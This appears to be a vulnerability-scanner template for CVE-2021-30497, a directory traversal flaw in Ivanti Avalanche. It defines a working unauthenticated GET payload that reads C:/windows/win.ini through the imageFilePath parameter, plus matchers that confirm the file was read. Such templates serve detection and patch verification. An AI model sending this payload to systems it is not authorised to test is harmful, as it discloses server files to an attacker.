id: CVE-2021-30497

info:
  name: Ivanti Avalanche Directory Traversal
  author: gy741
  severity: high
  description: A directory traversal vulnerability in Ivanti Avalanche allows remote unauthenticated user to access files that reside outside the 'image' folder
  reference:
    - https://ssd-disclosure.com/ssd-advisory-ivanti-avalanche-directory-traversal/
    - https://forums.ivanti.com/s/article/Security-Alert-CVE-2021-30497-Directory-Traversal-Vulnerability?language=en_US
    - https://help.ivanti.com/wl/help/en_us/aod/5.4/Avalanche/Console/Launching_the_Avalanche.htm
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-30497
  tags: cve,cve2021,avalanche,traversal

requests:
  - method: GET
    path:
      - "{{BaseURL}}/AvalancheWeb/image?imageFilePath=C:/windows/win.ini"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "for 16-bit app support"

      - type: status
        status:
          - 200